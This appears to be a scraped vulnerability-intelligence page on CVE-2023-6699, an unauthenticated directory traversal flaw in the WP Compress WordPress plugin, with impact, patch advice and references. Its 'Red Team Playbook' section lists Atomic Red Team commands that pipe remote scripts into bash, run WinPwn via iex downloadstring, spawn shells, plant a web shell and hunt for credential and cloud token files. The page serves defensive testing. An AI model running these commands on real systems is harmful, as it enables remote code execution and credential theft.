CVE-2023-6699
Overview
This vulnerability is a directory traversal flaw caused by insufficient validation of user-supplied input in the css parameter of the WP Compress – Image Optimizer plugin. The affected component fails to properly sanitize file path inputs, allowing traversal outside the intended directory. This improper input handling occurs in all plugin versions up to and including 6.10.33, specifically within the WordPress plugin's file handling routines.
Vulnerability Description
The WP Compress – Image Optimizer [All-In-One] plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 6.10.33 via the css parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.
Impact
An unauthenticated attacker can leverage this flaw to read arbitrary files on the web server, potentially exposing sensitive configuration files, credentials, or other confidential data. No authentication or user interaction is required (CVSS vector AV:N/AC:L/PR:N/UI:N), enabling remote exploitation over the network. This exposure can lead to information disclosure that facilitates further attacks or data breaches, undermining the confidentiality of the affected system.
Solution
Users should upgrade the WP Compress – Image Optimizer plugin to a version later than 6.10.33, where the directory traversal vulnerability has been addressed. Detailed patch information and upgrade instructions are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/defb87dd-bf5f-411f-b948-699337d05d44. Applying the latest plugin update from the official WordPress repository is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the WP Compress – Image Optimizer plugin for WordPress is characterized by a directory traversal flaw that allows unauthorized access to the file system. This issue arises from improper validation of user input, particularly through the css parameter. When an attacker manipulates this parameter, they can traverse directories on the server, potentially gaining access to sensitive files that should remain protected. The exploitation of this vulnerability does not require authentication, meaning that even unauthenticated users can leverage this flaw to read arbitrary files, which could include configuration files, database credentials, or other sensitive information stored on the server.
Attack vectors for this vulnerability are straightforward due to the lack of authentication requirements. An attacker could craft a malicious request that includes specially crafted input in the css parameter, allowing them to traverse the directory structure of the web server. For instance, by using sequences like "../", an attacker can navigate up the directory tree and access files outside the intended directory scope. This could lead to the exposure of critical files such as wp-config.php, which contains database connection details, or other sensitive data files that could facilitate further attacks, including privilege escalation or data exfiltration.
The real-world impact of this vulnerability can be significant, particularly for businesses that rely on the WP Compress plugin for image optimization on their WordPress sites. The exposure of sensitive information can lead to data breaches, which not only compromise user data but can also result in regulatory penalties, loss of customer trust, and reputational damage. Additionally, the ability to read arbitrary files could provide attackers with the information needed to launch more sophisticated attacks, such as SQL injection or remote code execution, further escalating the risk to the organization. The financial implications of such breaches can be severe, with costs associated with incident response, legal fees, and potential fines from regulatory bodies.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the WP Compress plugin to the latest version is crucial, as updates often include patches for known vulnerabilities. Additionally, employing web application firewalls (WAF) can help filter out malicious requests that attempt to exploit this flaw. Monitoring server logs for unusual access patterns or attempts to access sensitive files can also aid in early detection of exploitation attempts. Furthermore, implementing strict file permissions and ensuring that sensitive files are not accessible via the web can help mitigate the risk of unauthorized access.
In conclusion, the directory traversal vulnerability in the WP Compress plugin presents a considerable threat to WordPress installations using this tool. The ease of exploitation combined with the potential for significant data exposure underscores the importance of prompt action to secure affected systems. Organizations must prioritize vulnerability management, ensuring that they are not only aware of such risks but also equipped with the necessary tools and strategies to defend against them effectively. By maintaining a proactive security posture, businesses can safeguard their assets and maintain the trust of their users.
The CVSS score for CVE-2023-6699 has been revised upward from 7.5 to 9.1, reflecting a reassessment of the vulnerability’s impact and exploitability. This change underscores a heightened recognition of the critical risk posed by the directory traversal flaw in the WP Compress plugin, particularly given its unauthenticated nature and potential to expose sensitive server files. While our telemetry indicates that exploitation attempts remain stable without a marked increase, the elevated severity score signals that successful exploitation could have more severe consequences than previously assessed. For defenders, this recalibration demands increased vigilance in prioritizing patch management and monitoring for indicators of compromise related to this vulnerability. The updated risk level reinforces the urgency for organizations to validate their exposure and strengthen detection capabilities, as the window for adversaries to leverage this flaw remains open and potentially lucrative.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wpcompress | Wp Compress | All |
cpe:2.3:a:wpcompress:wp_compress:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-6699 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/defb87dd-bf5f-411f-b948-699337d05d44?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3009183%40wp-compress-image-optimizer%2Ftrunk&old=2994665%40wp-compress-image-optimizer%2Ftrunk&sfp_email=&sfph_mail= |